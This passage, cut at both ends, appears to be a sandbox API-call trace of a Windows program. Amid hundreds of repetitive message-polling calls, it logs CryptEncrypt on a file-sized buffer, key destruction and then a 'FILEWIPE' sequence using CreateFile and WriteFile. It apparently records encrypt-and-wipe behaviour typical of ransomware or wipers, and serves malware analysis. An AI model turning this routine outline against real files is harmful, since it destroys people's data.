wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.832] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.832] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.832] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.832] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.832] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.833] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.833] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x9b27, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x9b30) returned 1 [0022.833] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.833] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.833] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.833] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.833] CharLowerBuffW (in: lpsz="byte[39729]", cchLength=0xb | out: lpsz="byte[39729]") returned 0xb [0022.833] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.834] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.834] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.834] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.834] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41ddb60*, pdwDataLen=0xe8f3dfdf68*=0x9b27, dwBufLen=0x9b30 | out: pbData=0xe8f41ddb60*, pdwDataLen=0xe8f3dfdf68*=0x9b30) returned 1 [0022.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.834] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.834] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.834] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.834] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.834] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.834] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.834] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.834] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.834] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.834] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.834] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.837] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.837] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.837] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.838] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.838] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0022.838] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.838] CryptDestroyKey (hKey=0xe8f4062720) returned 1 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.838] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.838] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.838] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.838] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.838] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.838] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.839] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.839] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.839] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.839] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.839] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.839] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.839] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.839] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.839] CryptReleaseContext (hProv=0xe8f40633d0, dwFlags=0x0) returned 1 [0022.839] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.839] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.839] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.839] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.839] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.839] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.839] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.840] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.841] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.841] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.841] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.842] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.842] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.842] CharLowerBuffW (in: lpsz="byte[39719]", cchLength=0xb | out: lpsz="byte[39719]") returned 0xb [0022.842] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.842] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.842] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.842] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.842] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.842] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.842] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.842] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.842] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.842] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.842] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.842] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.842] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.842] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.842] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.843] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.843] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.843] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.843] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.843] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.843] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.844] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.845] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.845] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.845] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.845] PeekMessageW (in: lpMsg=0xe8f3dfebe0, 